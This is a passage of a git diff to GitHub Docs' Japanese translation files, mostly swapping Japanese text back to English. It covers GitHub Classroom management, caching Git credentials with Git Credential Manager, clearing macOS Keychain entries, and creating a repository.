詳細は「[テンプレートリポジトリを作成する](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)」を参照してください。 +To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. -テンプレートリポジトリを課題で使用するには、そのテンプレートリポジトリがOrganizationの所有であるか、テンプレートリポジトリの可視性がパブリックである必要があります。 +## Further reading -## 参考リンク - -- 「[個人課題の作成](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)」 -- 「[グループ課題の作成](/education/manage-coursework-with-github-classroom/create-a-group-assignment)」 +- "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" +- "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" diff --git a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md index e07a1349b4..e08cd628d3 100644 --- a/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md +++ b/translations/ja-JP/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md @@ -1,6 +1,6 @@ --- -title: クラスルームの管理 -intro: '{% data variables.product.prodname_classroom %}を使用して、あなたが教える各コースのクラスルームを作成、管理できます。' +title: Manage classrooms +intro: 'You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}.' permissions: Organization owners can manage a classroom for an organization. versions: fpt: '*' @@ -9,101 +9,116 @@ redirect_from: - /education/manage-coursework-with-github-classroom/manage-classrooms --- -## クラスルームについて +## About classrooms {% data reusables.classroom.about-classrooms %} -![クラスルーム](/assets/images/help/classroom/classroom-hero.png) +![Classroom](/assets/images/help/classroom/classroom-hero.png) -## クラスルームの管理について +## About management of classrooms -{% data variables.product.prodname_classroom %}は、{% data variables.product.product_name %}のOrganizationアカウントを使用して、作成された各クラスルームの権限、運営、セキュリティを管理します。 各Organizationは、複数のクラスルームを持つことができます。 +{% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. -クラスルームの作成後、{% data variables.product.prodname_classroom %}はクラスルームにティーチングアシスタント (TA) と管理者を招待するよう促します。 各クラスルームには複数の管理者を置くことができます。 管理者には教師、TA、その他{% data variables.product.prodname_classroom %}でクラスルームの管理をさせたいコース管理者がなることができます。 +After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. -TAおよび管理者をクラスルームに招待するには、{% data variables.product.product_name %}のユーザアカウントを、あなたのOrganizationにOrganizationのオーナーとして招待し、クラスルームのURLを共有します。 Organizationのオーナーは、Organizationの任意のクラスルームを管理できます。 For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." +Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classroom. Organization owners can administer any classroom for the organization. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Inviting users to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)." -クラスルームの使用を終えたら、後でクラスルーム、名簿、課題を参照するためにクラスルームをアーカイブできます。また、クラスルームが今後不要な場合は、クラスルームを削除できます。 +When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. -## クラスルームの名簿について +## About classroom rosters -各クラスルームには名簿があります。 名簿とは、コースに参加する学生の識別子リストのことです。 +Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. -課題のURLを初めて学生に伝える際、学生はユーザアカウントで{% data variables.product.product_name %}にサインインし、そのユーザアカウントをクラスルームの識別子とリンクする必要があります。 学生がユーザアカウントをリンクすると、名簿に関連づけられたユーザアカウントが表示されます。 また、学生が課題を受け入れたり提出したりした際にも、それを確認できます。 +When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment. -![クラスルームの名簿](/assets/images/help/classroom/roster-hero.png) +![Classroom roster](/assets/images/help/classroom/roster-hero.png) -## 必要な環境 +## Prerequisites -{% data variables.product.prodname_classroom %}でクラスルームを管理するには、{% data variables.product.product_name %}でOrganizationアカウントが必要です。 詳しい情報については、「[{% data variables.product.company_short %}アカウントの種類](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)」および「[新しいOrganizationをゼロから作成する](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)」を参照してください。 +You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." -Organizationアカウントのクラスルームを管理するには、Organizationの{% data variables.product.prodname_classroom %}用OAuth Appを認証する必要があります。 詳しい情報については、「[OAuth App を認証する](/github/authenticating-to-github/authorizing-oauth-apps)」を参照してください。 +You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." -## クラスルームを作成する +## Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} -1. [**New classroom**] をクリックします。 ![[New classroom] ボタン](/assets/images/help/classroom/click-new-classroom-button.png) +1. Click **New classroom**. + !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) {% data reusables.classroom.guide-create-new-classroom %} -クラスルームの作成後は、学生用の課題作成に取りかかることができます。 For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." +After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." -## クラスルームの名簿を作成する +## Creating a roster for your classroom -コースに参加する学生の名簿を作成できます。 +You can create a roster of the students who participate in your course. -コースに既に名簿がある場合は、その名簿で学生を更新するか、その名簿を削除できます。 詳しい情報については、「[クラスルームの名簿に学生を追加する](#adding-students-to-the-roster-for-your-classroom)」または「[クラスルームの名簿を削除する](#deleting-a-roster-for-a-classroom)」を参照してください。 +If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. {% data variables.product.prodname_classroom %}をLMSに接続して名簿をインポートするには、[{% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system**] をクリックして指示に従います。 詳しい情報については、「[学習管理システムを{% data variables.product.prodname_classroom %}に接続する](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)」を参照してください。 ![[Import from a learning management system] ボタン](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) +1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." + !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) 1. Provide the student identifiers for your roster. - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**. - - To create a roster manually, type your student identifiers. ![学生の識別子を入力するためのテキストフィールドと [Upload a CSV or text file] ボタン](/assets/images/help/classroom/type-or-upload-student-identifiers.png) -1. [**Create roster**] をクリックします。 ![[Create roster] ボタン](/assets/images/help/classroom/click-create-roster-button.png) + - To create a roster manually, type your student identifiers. + ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) +1. Click **Create roster**. + !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) -## クラスルームの名簿に学生を追加する +## Adding students to the roster for your classroom -学生を名簿に追加するには、クラスルームに名簿がある必要があります。 名簿の作成に関する詳細については、「[クラスルームの名簿を作成する](#creating-a-roster-for-your-classroom)」を参照してください。 +Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. [Classroom roster] の右側にある [**Update students**] をクリックします。 ![[Classroom roster] の右側、学生の名簿の上にある [Update students] ボタン](/assets/images/help/classroom/click-update-students-button.png) -1. 指示に従い、名簿に学生を追加します。 - - LMSから学生をインポートするには、[**Sync from a learning management system**] をクリックします。 LMSからの名簿のインポートに関する詳細については、「[学習管理システムを{% data variables.product.prodname_classroom %}に接続する](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)」を参照してください。 - - 学生を手動で追加するには、[Manually add students] で [**Upload a CSV or text file**] をクリックするか、学生の識別子を入力してから、[**Add roster entries**] をクリックします。 ![クラスルームに学生を追加する方法を選択するためのモーダル](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) +1. To the right of "Classroom roster", click **Update students**. + !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) +1. Follow the instructions to add students to the roster. + - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." + - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. + ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) -## クラスルームの名前を変更する +## Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} -1. [Classroom name] で、クラスルームの新しい名前を入力します。 ![[Classroom name] の下にある、クラスルーム名を入力するためのテキストフィールド](/assets/images/help/classroom/settings-type-classroom-name.png) -1. [**Rename classroom**] をクリックします。 ![[Rename classroom] ボタン](/assets/images/help/classroom/settings-click-rename-classroom-button.png) +1. Under "Classroom name", type a new name for the classroom. + ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) +1. Click **Rename classroom**. + !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) -## クラスルームをアーカイブまたはアーカイブ解除する +## Archiving or unarchiving a classroom -{% data variables.product.prodname_classroom %}で使用しないクラスルームについては、アーカイブすることができます。 クラスルームをアーカイブすると、そのクラスルームで新しい課題を作成したり、既存の課題を編集したりすることはできません。 学生は、アーカイブされたクラスルームの課題への招待を受け入れることはできません。 +You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} -1. クラスルーム名の右側にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} ドロップダウンメニューを選択し、[**Archive**] をクリックします。 ![水平ケバブアイコンから表示されるドロップダウンメニューと [Archive] メニュー項目](/assets/images/help/classroom/use-drop-down-then-click-archive.png) -1. クラスルームをアーカイブ解除するには、クラスルーム名の右側にある {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} ドロップダウンメニューを選択し、[**Unarchive**] をクリックします。 ![水平ケバブアイコンから表示されるドロップダウンメニューと [Unarchive] メニュー項目](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) +1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. + ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) +1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. + ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) -## クラスルームの名簿を削除する +## Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. [Delete this roster] の下にある [**Delete roster**] をクリックします。 ![クラスルームの [Students] タブにある、[Delete this roster] の下の [Delete roster] ボタン](/assets/images/help/classroom/students-click-delete-roster-button.png) -1. 警告を読み、[**Delete roster**] をクリックします。 ![クラスルームの [Students] タブにある、[Delete this roster] の下の [Delete roster] ボタン](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) +1. Under "Delete this roster", click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) +1. Read the warnings, then click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) -## クラスルームを削除する +## Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} -1. [Delete this classroom] の右側にある [**Delete classroom**] をクリックします。 ![[Delete repository] ボタン](/assets/images/help/classroom/click-delete-classroom-button.png) -1. **警告を読みます**。 -1. 削除しようとしているクラスルームに間違いがないことを確認するために、削除対象のクラスルーム名を入力します。 ![警告とクラスルーム名を入力するテキストフィールドがある、クラスルームを削除するためのモーダル](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) -1. [**Delete classroom**] をクリックします。 ![[Delete classroom] ボタン](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) +1. To the right of "Delete this classroom", click **Delete classroom**. + !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) +1. **Read the warnings**. +1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. + ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) +1. Click **Delete classroom**. + !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md index 752bbd899b..8524ac5fbc 100644 --- a/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md +++ b/translations/ja-JP/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md @@ -1,5 +1,5 @@ --- -title: Git に GitHub の認証情報をキャッシュする +title: Caching your GitHub credentials in Git redirect_from: - /firewalls-and-proxies/ - /articles/caching-your-github-password-in-git @@ -7,7 +7,7 @@ redirect_from: - /github/using-git/caching-your-github-credentials-in-git - /github/getting-started-with-github/caching-your-github-credentials-in-git - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git -intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager Core (GCM Core) to remember your credentials.' +intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' versions: fpt: '*' ghes: '*' @@ -18,7 +18,7 @@ shortTitle: Caching credentials {% tip %} -**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. SSH 接続のセットアップについては「[SSH キーを生成する](/articles/generating-an-ssh-key)」を参照してください。 +**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)." {% endtip %} @@ -33,9 +33,9 @@ shortTitle: Caching credentials For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -## Git Credential Manager Core +## Git Credential Manager -[Git Credential Manager Core](https://github.com/microsoft/Git-Credential-Manager-Core) (GCM Core) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM Core, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM Core manages authentication on your behalf, including 2FA (two-factor authentication). +[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). {% mac %} @@ -44,22 +44,22 @@ For more information about authenticating with {% data variables.product.prodnam $ brew install git ``` -2. Install GCM Core using Homebrew: +2. Install GCM using Homebrew: ```shell $ brew tap microsoft/git $ brew install --cask git-credential-manager-core ``` - For MacOS, you don't need to run `git config` because GCM Core automatically configures Git for you. + For MacOS, you don't need to run `git config` because GCM automatically configures Git for you. {% data reusables.gcm-core.next-time-you-clone %} -認証に成功すると、認証情報は macOS のキーチェーンに保存され、HTTPS URL をクローンするたびに使用されます。 Git will not require you to type your credentials in the command line again unless you change your credentials. +Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. {% endmac %} {% windows %} -1. Install Git for Windows, which includes GCM Core. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). +1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. @@ -77,7 +77,7 @@ Once you've authenticated successfully, your credentials are stored in the Windo {% warning %} -**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. +**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. {% endwarning %} @@ -85,13 +85,13 @@ Once you've authenticated successfully, your credentials are stored in the Windo {% linux %} -For Linux, install Git and GCM Core, then configure Git to use GCM Core. +For Linux, install Git and GCM, then configure Git to use GCM. 1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. -2. Install GCM Core. See the [instructions in the GCM Core repo](https://github.com/microsoft/Git-Credential-Manager-Core#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. +2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. -3. Configure Git to use GCM Core. There are several backing stores that you may choose from, so see the GCM Core docs to complete your setup. For more information, see "[GCM Core Linux](https://aka.ms/gcmcore-linuxcredstores)." +3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)." {% data reusables.gcm-core.next-time-you-clone %} @@ -103,4 +103,4 @@ For more options for storing your credentials on Linux, see [Credential Storage]
                    -For more information or to report issues with GCM Core, see the official GCM Core docs at "[Git Credential Manager Core](https://github.com/microsoft/Git-Credential-Manager-Core)." +For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)." diff --git a/translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md index 6695a446fb..8f4a056431 100644 --- a/translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md +++ b/translations/ja-JP/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md @@ -1,6 +1,6 @@ --- -title: macOS キーチェーンからの認証情報を更新する -intro: '{% data variables.product.product_name %} で{% ifversion not ghae %}ユーザ名、パスワード、{% endif %}または個人アクセストークンを変更する場合は、 `git-credential-osxkeychain` ヘルパーに保存されている認証情報を更新する必要があります。' +title: Updating credentials from the macOS Keychain +intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} personal access token on {% data variables.product.product_name %}.' redirect_from: - /articles/updating-credentials-from-the-osx-keychain - /github/using-git/updating-credentials-from-the-osx-keychain @@ -14,27 +14,27 @@ versions: ghec: '*' shortTitle: macOS Keychain credentials --- - {% tip %} -**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the `osxkeychain` helper that is built-in to macOS. +**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a PAT using the `osxkeychain` helper that is built-in to macOS. -We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager Core](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM Core) instead. GCM Core can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth). +We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual PATs) including 2FA (two-factor auth). {% endtip %} {% data reusables.user_settings.password-authentication-deprecation %} -## キーチェーンアクセスを介して認証情報を更新する +## Updating your credentials via Keychain Access -1. メニューバーの右側にある Spotlight アイコン (虫眼鏡) をクリックします。 `Keychain access` と入力し、Enter キーを押してアプリを起動します。 ![スポットライト検索バー](/assets/images/help/setup/keychain-access.png) -2. キーチェーン Access で、**{% data variables.command_line.backticks %}** を探してください。 -3. `{% data variables.command_line.backticks %}` の「internet password」エントリを見つけてください。 -4. 適宜、エントリを編集または削除します。 +1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app. + ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) +2. In Keychain Access, search for **{% data variables.command_line.backticks %}**. +3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`. +4. Edit or delete the entry accordingly. -## コマンドラインで認証情報を削除する +## Deleting your credentials via the command line -コマンドラインから、認証情報ヘルパーを直接使用して、キーチェーンエントリを消去できます。 +Through the command line, you can use the credential helper directly to erase the keychain entry. ```shell $ git credential-osxkeychain erase @@ -43,8 +43,8 @@ protocol=https > [Press Return] ``` -成功した場合、何もプリントアウトされません。 それが機能するかどうかをテストするには、{% data variables.product.product_location %} からプライベートリポジトリのクローンを作成します。 パスワードの入力を求められた場合は、キーチェーンエントリが削除されています。 +If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.product.product_location %}. If you are prompted for a password, the keychain entry was deleted. -## 参考リンク +## Further reading -- "[Git で {% data variables.product.prodname_dotcom %} 認証情報をキャッシュ](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" +- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" diff --git a/translations/ja-JP/content/get-started/quickstart/create-a-repo.md b/translations/ja-JP/content/get-started/quickstart/create-a-repo.md index 595a6f3d90..56c2e95fd0 100644 --- a/translations/ja-JP/content/get-started/quickstart/create-a-repo.md +++ b/translations/ja-JP/content/get-started/quickstart/create-a-repo.md @@ -1,11 +1,11 @@ --- -title: リポジトリを作成する +title: Create a repo redirect_from: - /create-a-repo/ - /articles/create-a-repo - /github/getting-started-with-github/create-a-repo - /github/getting-started-with-github/quickstart/create-a-repo -intro: 'プロジェクトを {% data variables.product.prodname_dotcom %} に保存するには、それを保存するためのリポジトリを作成する必要があります。' +intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.' versions: fpt: '*' ghes: '*' @@ -17,16 +17,15 @@ topics: - Notifications - Accounts --- - -## リポジトリの作成 +## Create a repository {% ifversion fpt or ghec %} -オープンソースプロジェクトを含む、さまざまなプロジェクトを {% data variables.product.prodname_dotcom %} リポジトリに保存できます。 [オープンソースプロジェクト](http://opensource.org/about)では、より優れた信頼性のあるソフトウェアを作成するためにコードを共有できます。 You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." +You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." {% elsif ghes or ghae %} -インナーソースプロジェクトを含め、さまざまなプロジェクトを {% data variables.product.product_name %} リポジトリに保存できます。 インナーソースを使用すると、コードを共有して、より優れた、より信頼性の高いソフトウェアを作成できます。 インナーソースの詳細については、{% data variables.product.company_short %} のホワイトペーパー「[インナーソース入門](https://resources.github.com/whitepapers/introduction-to-innersource/)」を参照してください。 +You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." {% endif %} @@ -34,7 +33,7 @@ topics: {% note %} -**メモ:** オープンソースプロジェクトのパブリックリポジトリを作成できます。 パブリックリポジトリを作成する際は、他のユーザにどのようにプロジェクトを共有してほしいのかを定義する[ライセンスファイル](https://choosealicense.com/)を含めるようにしてください。 {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %} +**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %} {% endnote %} @@ -45,13 +44,15 @@ topics: {% webui %} {% data reusables.repositories.create_new %} -2. リポジトリに、短くて覚えやすい名前を入力します。 たとえば、"hello-world" といった名前です。 ![リポジトリ名を入力するフィールド](/assets/images/help/repository/create-repository-name.png) -3. 必要な場合、リポジトリの説明を追加します。 たとえば、「{% data variables.product.product_name %} の最初のリポジトリ」などです。 ![リポジトリの説明を入力するフィールド](/assets/images/help/repository/create-repository-desc.png) +2. Type a short, memorable name for your repository. For example, "hello-world". + ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png) +3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}." + ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png) {% data reusables.repositories.choose-repo-visibility %} {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -おめでとうございます。 最初のリポジトリ作成に成功し、初期設定として *README* ファイルが生成されました。 +Congratulations! You've successfully created your first repository, and initialized it with a *README* file. {% endwebui %} @@ -60,33 +61,32 @@ topics: {% data reusables.cli.cli-learn-more %} 1. In the command line, navigate to the directory where you would like to create a local clone of your new project. -2. To create a repository for your project, use the `gh repo create` subcommand. Replace `project-name` with the desired name for your repository. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. - - ```shell - gh repo create project-name - ``` - -3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_repo_create). +2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. +3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. +4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). {% endcli %} -## 最初の変更をコミットする +## Commit your first change {% include tool-switcher %} {% webui %} -*[コミット](/articles/github-glossary#commit)*とは、ある特定の時点における、あなたのプロジェクト内のすべてのファイルのスナップショットのようなものです。 +A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time. -上の例では、新しいリポジトリを作成すると同時に *README* ファイルを生成しました。 *README* ファイルは、プロジェクトの詳細を説明したり、プロジェクトのインストール方法や使い方などのドキュメンテーションを書き込んだりするためにふさわしい場所です。 *README* ファイルの内容は、リポジトリのフロントページに自動的に表示されます。 +When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are 